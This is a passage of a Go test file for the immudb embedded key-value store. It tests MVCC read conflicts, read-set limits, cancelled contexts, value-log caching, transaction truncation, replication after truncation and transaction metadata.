ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when read keys are deleted by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Delete(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\tr, err := tx3.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix:  []byte(\"key\"),\n\t\t\tFilters: []FilterFn{IgnoreDeleted},\n\t\t\tOffset:  1,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, _, err = r.Read(context.Background())\n\t\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n}\n\nfunc TestImmudbStoreMVCCBoundaries(t *testing.T) {\n\tmvccReadsetLimit := 3\n\n\timmuStore, err := Open(t.TempDir(), DefaultOptions().WithMVCCReadSetLimit(mvccReadsetLimit))\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\tt.Run(\"MVCC read-set limit should be reached when randomly reading keys\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < mvccReadsetLimit; i++ {\n\t\t\t_, err = tx1.Get(context.Background(), []byte(fmt.Sprintf(\"key%d\", i)))\n\t\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\t}\n\n\t\tfor i := 0; i < mvccReadsetLimit; i++ {\n\t\t\t_, err = tx1.Get(context.Background(), []byte(fmt.Sprintf(\"key%d\", i)))\n\t\t\trequire.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded)\n\t\t}\n\n\t\terr = tx1.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"MVCC read-set limit should not be reached when reading an updated key\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i <= mvccReadsetLimit; i++ {\n\t\t\terr = tx1.Set([]byte(fmt.Sprintf(\"key%d\", i)), nil, []byte(fmt.Sprintf(\"value%d\", i)))\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tfor i := 0; i <= mvccReadsetLimit; i++ {\n\t\t\t_, err = tx1.Get(context.Background(), []byte(fmt.Sprintf(\"key%d\", i)))\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\terr = tx1.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"MVCC read-set limit should be reached when reading keys by prefix\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < mvccReadsetLimit; i++ {\n\t\t\t_, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf(\"key%d\", i)), nil)\n\t\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\t}\n\n\t\tfor i := 0; i < mvccReadsetLimit; i++ {\n\t\t\t_, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf(\"key%d\", i)), nil)\n\t\t\trequire.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded)\n\t\t}\n\n\t\terr = tx1.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"MVCC read-set limit should not be reached when reading an updated entries\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i <= mvccReadsetLimit; i++ {\n\t\t\terr = tx1.Set([]byte(fmt.Sprintf(\"key%d\", i)), nil, []byte(fmt.Sprintf(\"value%d\", i)))\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tfor i := 0; i <= mvccReadsetLimit; i++ {\n\t\t\t_, _, err = tx1.GetWithPrefix(context.Background(), []byte(fmt.Sprintf(\"key%d\", i)), nil)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\terr = tx1.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"MVCC read-set limit should be reached when scanning out of read-set boundaries\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < mvccReadsetLimit; i++ {\n\t\t\terr = tx1.Set([]byte(fmt.Sprintf(\"key%d\", i)), nil, []byte(fmt.Sprintf(\"value%d\", i)))\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tr, err := tx1.NewKeyReader(KeyReaderSpec{Prefix: []byte(\"key\")})\n\t\trequire.NoError(t, err)\n\n\t\t// Note: creating the reader already consumes one read-set slot\n\t\tfor i := 0; i < mvccReadsetLimit-1; i++ {\n\t\t\t_, _, err = r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, _, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"MVCC read-set limit should be reached when reseting a reader out of read-set boundaries\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < mvccReadsetLimit; i++ {\n\t\t\terr = tx1.Set([]byte(fmt.Sprintf(\"key%d\", i)), nil, []byte(fmt.Sprintf(\"value%d\", i)))\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tr, err := tx1.NewKeyReader(KeyReaderSpec{Prefix: []byte(\"key\")})\n\t\trequire.NoError(t, err)\n\n\t\t// Note: creating the reader already consumes one read-set slot\n\t\tfor i := 0; i < mvccReadsetLimit-1; i++ {\n\t\t\t_, _, err = r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\terr = r.Reset()\n\t\trequire.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"MVCC read-set limit should be reached when reading non-updated keys\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i <= mvccReadsetLimit; i++ {\n\t\t\terr = tx1.Set([]byte(fmt.Sprintf(\"key%d\", i)), nil, []byte(fmt.Sprintf(\"value%d\", i)))\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < mvccReadsetLimit; i++ {\n\t\t\t_, err = tx2.Get(context.Background(), []byte(fmt.Sprintf(\"key%d\", i)))\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, err = tx2.Get(context.Background(), []byte(\"key\"))\n\t\trequire.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded)\n\n\t\t_, _, err = tx2.GetWithPrefix(context.Background(), []byte(\"key\"), nil)\n\t\trequire.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded)\n\n\t\t_, err = tx2.NewKeyReader(KeyReaderSpec{Prefix: []byte(\"key\")})\n\t\trequire.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded)\n\n\t\terr = tx2.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestImmudbStoreWithClosedContext(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\tt.Run(\"transaction creation should fail with a cancelled\", func(t *testing.T) {\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tcancel()\n\n\t\t_, err := immuStore.NewTx(ctx, DefaultTxOptions())\n\t\trequire.ErrorIs(t, err, context.Canceled)\n\t})\n\n\tt.Run(\"transaction commit should fail with a cancelled\", func(t *testing.T) {\n\t\tctx, cancel := context.WithCancel(context.Background())\n\n\t\ttx, err := immuStore.NewTx(ctx, DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\tcancel()\n\n\t\t_, err = tx.Commit(ctx)\n\t\trequire.ErrorIs(t, err, context.Canceled)\n\t})\n}\n\nfunc TestImmudbStoreWithoutVLogCache(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions().WithVLogCacheSize(0))\n\trequire.NoError(t, err)\n\n\tdefer immuStore.Close()\n\n\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx1.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\tvalRef, err := immuStore.Get(context.Background(), []byte(\"key1\"))\n\trequire.NoError(t, err)\n\n\tval, err := valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"value1\"), val)\n}\n\nfunc TestImmudbStoreWithVLogCache(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions().WithVLogCacheSize(10))\n\trequire.NoError(t, err)\n\n\tdefer immuStore.Close()\n\n\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx1.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\t_, valRef, err := immuStore.GetWithPrefix(context.Background(), []byte(\"key1\"), nil)\n\trequire.NoError(t, err)\n\n\tval, err := valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"value1\"), val)\n}\n\nfunc TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) {\n\tfileSize := 1024\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithFileSize(fileSize).\n\t\tWithMaxConcurrency(100).\n\t\tWithMaxIOConcurrency(5)\n\n\tst, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\tfor i := 1; i <= 20; i++ {\n\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\tvalue := make([]byte, fileSize)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\n\t\thdr, err := tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\treadTx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(hdr.ID, false, readTx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range readTx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\tdeletePointTx := uint64(15)\n\n\thdr, err := st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\n\tfor i := deletePointTx; i <= 20; i++ {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n}\n\nfunc TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) {\n\tfileSize := 1024\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithFileSize(fileSize).\n\t\tWithMaxIOConcurrency(1)\n\n\tst, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\tfor i := 1; i <= 10; i++ {\n\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\tvalue := make([]byte, fileSize)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tdeletePointTx := uint64(5)\n\n\thdr, err := st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\n\tfor i := deletePointTx; i <= 10; i++ {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\tfor i := deletePointTx - 1; i > 0; i-- {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.Error(t, err)\n\t\t}\n\t}\n}\n\nfunc TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) {\n\tfileSize := 1024\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithFileSize(fileSize).\n\t\tWithMaxIOConcurrency(1)\n\n\tst, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\tdefer immustoreClose(t, st)\n\n\tfor i := 1; i <= 10; i++ {\n\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\tvalue := make([]byte, fileSize)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tdeletePointTx := uint64(5)\n\n\thdr, err := st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\t// TruncateUptoTx should be idempotent\n\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\n\tfor i := deletePointTx; i <= 10; i++ {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\tfor i := deletePointTx - 1; i > 0; i-- {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.Error(t, err)\n\t\t}\n\t}\n\n}\n\nfunc TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) {\n\tfileSize := 1024\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithFileSize(fileSize).\n\t\tWithMaxConcurrency(100).\n\t\tWithMaxIOConcurrency(3)\n\n\tst, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\twg := sync.WaitGroup{}\n\n\tfor i := 1; i <= 3; i++ {\n\t\twg.Add(1)\n\n\t\tgo func(j int) {\n\t\t\tdefer wg.Done()\n\n\t\t\tfor k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ {\n\t\t\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tkey := []byte(fmt.Sprintf(\"key_%d\", k))\n\t\t\t\tvalue := make([]byte, fileSize)\n\n\t\t\t\terr = tx.Set(key, nil, value)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t_, err = tx.Commit(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t}(i)\n\t}\n\n\twg.Wait()\n\n\tdeletePointTx := uint64(15)\n\n\thdr, err := st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\n\tfor i := deletePointTx; i <= 30; i++ {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n}\n\nfunc TestImmudbStore_WithConcurrentTruncate(t *testing.T) {\n\tfileSize := 1024\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithFileSize(fileSize).\n\t\tWithMaxIOConcurrency(1)\n\n\tst, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\twaitCh := make(chan struct{})\n\tdoneCh := make(chan struct{})\n\n\tfor i := 1; i <= 20; i++ {\n\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\tvalue := make([]byte, fileSize)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tif i == 10 {\n\t\t\tclose(waitCh)\n\t\t}\n\t}\n\n\tdeletePointTx := uint64(5)\n\n\tgo func() {\n\t\t<-waitCh\n\n\t\thdr, err := st.ReadTxHeader(deletePointTx, false, false)\n\t\trequire.NoError(t, err)\n\t\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\n\t\tclose(doneCh)\n\t}()\n\n\t<-doneCh\n\n\tfor i := deletePointTx; i <= 20; i++ {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\tfor i := deletePointTx - 1; i > 0; i-- {\n\t\ttx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.Error(t, err)\n\t\t}\n\t}\n}\n\nfunc TestExportTxWithTruncation(t *testing.T) {\n\tfileSize := 1024\n\n\topts := DefaultOptions().\n\t\tWithEmbeddedValues(false).\n\t\tWithFileSize(fileSize).\n\t\tWithMaxIOConcurrency(1)\n\n\t// Create a master store\n\tmasterDir := t.TempDir()\n\tmasterStore, err := Open(masterDir, opts)\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, masterStore)\n\n\t// Create a replica store\n\treplicaDir := t.TempDir()\n\treplicaStore, err := Open(replicaDir, DefaultOptions())\n\trequire.NoError(t, err)\n\tdefer immustoreClose(t, replicaStore)\n\n\tt.Run(\"validate replication post truncation on master\", func(t *testing.T) {\n\t\thdrs := make([]*TxHeader, 0, 5)\n\n\t\t// Add 10 transactions on master store\n\t\tfor i := 1; i <= 10; i++ {\n\t\t\ttx, err := masterStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\t\tvalue := make([]byte, fileSize)\n\n\t\t\terr = tx.Set(key, nil, value)\n\t\t\trequire.NoError(t, err)\n\n\t\t\thdr, err := tx.Commit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, hdr)\n\n\t\t\thdrs = append(hdrs, hdr)\n\t\t}\n\n\t\t// Truncate upto 5th transaction on master store\n\t\tdeletePointTx := uint64(5)\n\n\t\thdr, err := masterStore.ReadTxHeader(deletePointTx, false, false)\n\t\trequire.NoError(t, err)\n\n\t\trequire.NoError(t, masterStore.TruncateUptoTx(hdr.ID))\n\n\t\t// Validate that the values are not accessible for transactions that are truncated\n\t\tfor i := deletePointTx - 1; i > 0; i-- {\n\t\t\ttx := NewTx(masterStore.MaxTxEntries(), masterStore.MaxKeyLen())\n\n\t\t\terr = masterStore.ReadTx(i, false, tx)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, e := range tx.Entries() {\n\t\t\t\t_, err := masterStore.ReadValue(e)\n\t\t\t\trequire.Error(t, err)\n\t\t\t}\n\t\t}\n\n\t\t// Replicate all the transactions to replica store\n\t\tfor i := uint64(1); i <= 10; i++ {\n\t\t\ttxholder := tempTxHolder(t, masterStore)\n\n\t\t\tetx, err := masterStore.ExportTx(i, false, false, txholder)\n\t\t\trequire.NoError(t, err)\n\n\t\t\trhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false, false)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, rhdr)\n\t\t}\n\n\t\t// Validate that the alh is matching with master when data is exported to replica\n\t\tfor i := uint64(1); i <= 10; i++ {\n\t\t\ttx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen())\n\n\t\t\terr = replicaStore.ReadTx(i, false, tx)\n\t\t\trequire.NoError(t, err)\n\n\t\t\thdr := hdrs[i-1]\n\t\t\trequire.Equal(t, hdr.ID, tx.header.ID)\n\t\t\trequire.Equal(t, hdr.Alh(), tx.header.Alh())\n\t\t}\n\n\t\t// Validate that the values are not copied on replica for truncated transaction on master\n\t\tfor i := deletePointTx - 1; i > 0; i-- {\n\t\t\ttx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen())\n\n\t\t\terr = replicaStore.ReadTx(i, false, tx)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, e := range tx.Entries() {\n\t\t\t\tval, err := replicaStore.ReadValue(e)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Nil(t, val)\n\t\t\t}\n\t\t}\n\n\t\t// Validate that the values are copied on replica for non truncated transaction on master\n\t\tfor i := deletePointTx; i <= 10; i++ {\n\t\t\ttx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen())\n\n\t\t\terr = replicaStore.ReadTx(i, false, tx)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, e := range tx.Entries() {\n\t\t\t\tval, err := replicaStore.ReadValue(e)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.NotNil(t, val)\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestImmudbStoreTxMetadata(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tt.Run(\"test tx metadata with truncation header\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\n\t\ttx.WithMetadata(NewTxMetadata().WithTruncatedTxID(10))\n\n\t\terr = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(1), valRef.Tx())\n\t\trequire.Equal(t, uint64(1), valRef.HC())\n\t\trequire.Equal(t, uint32(3), valRef.Len())\n\t\trequire.Equal(t, sha256.Sum256([]byte{3, 2, 1}), valRef.HVal())\n\n\t\trequire.True(t, valRef.TxMetadata().HasTruncatedTxID())\n\t\ttrid, err := valRef.TxMetadata().GetTruncatedTxID()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(10), trid)\n\t})\n\n\tt.Run(\"test tx metadata with no truncation header\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\n\t\terr = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tvalRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(2), valRef.Tx())\n\n\t\tv, err := valRef.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte{1, 1, 1}, v)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(2), valRef.Tx())\n\t\trequire.Nil(t, valRef.TxMetadata())\n\t\trequire.Equal(t, uint64(2), valRef.HC())\n\t\trequire.Equal(t, uint32(3), valRef.Len())\n\t\trequire.Equal(t, sha256.Sum256([]byte{1, 1, 1}), valRef.HVal())\n\t})\n\n}\n\nfunc TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) {\n\tfileSize := 1024\n\n\topts := DefaultOptions().\n\t\tWithFileSize(fileSize).\n\t\tWithMaxIOConcurrency(1)\n\n\tst, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\tfor i := 1; i <= 10; i++ {\n\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\tvalue := make([]byte, fileSize)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tdeletePointTx := uint64(1)\n\n\thdr, err := st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\n\tfor i := 11; i <= 20; i++ {\n\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\tvalue := make([]byte, fileSize)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\n\t\thdr, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trtx := NewTx(st.MaxTxEntries(), st.MaxKeyLen())\n\n\t\terr = st.ReadTx(hdr.ID, false, rtx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range rtx.Entries() {\n\t\t\t_, err := st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n}\n\nfunc TestCommitOfEmptyTxWithMetadata(t *testing.T) {\n\tst, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\ttx, err := st.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\ttx.WithMetadata(NewTxMetadata().WithTruncatedTxID(1))\n\n\thdr, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\ttxholder, err := st.fetchAllocTx()\n\trequire.NoError(t, err)\n\n\tdefer st.releaseAllocTx(txholder)\n\n\terr = st.readTx(hdr.ID, false, true, txholder)\n\trequire.NoError(t, err)\n\trequire.Empty(t, txholder.Entries())\n}\n\nfunc TestImmudbStore_ExportTxWithEmptyValues(t *testing.T) {\n\topts := DefaultOptions().WithEmbeddedValues(false)\n\n\tst, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\ttx, err := st.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = 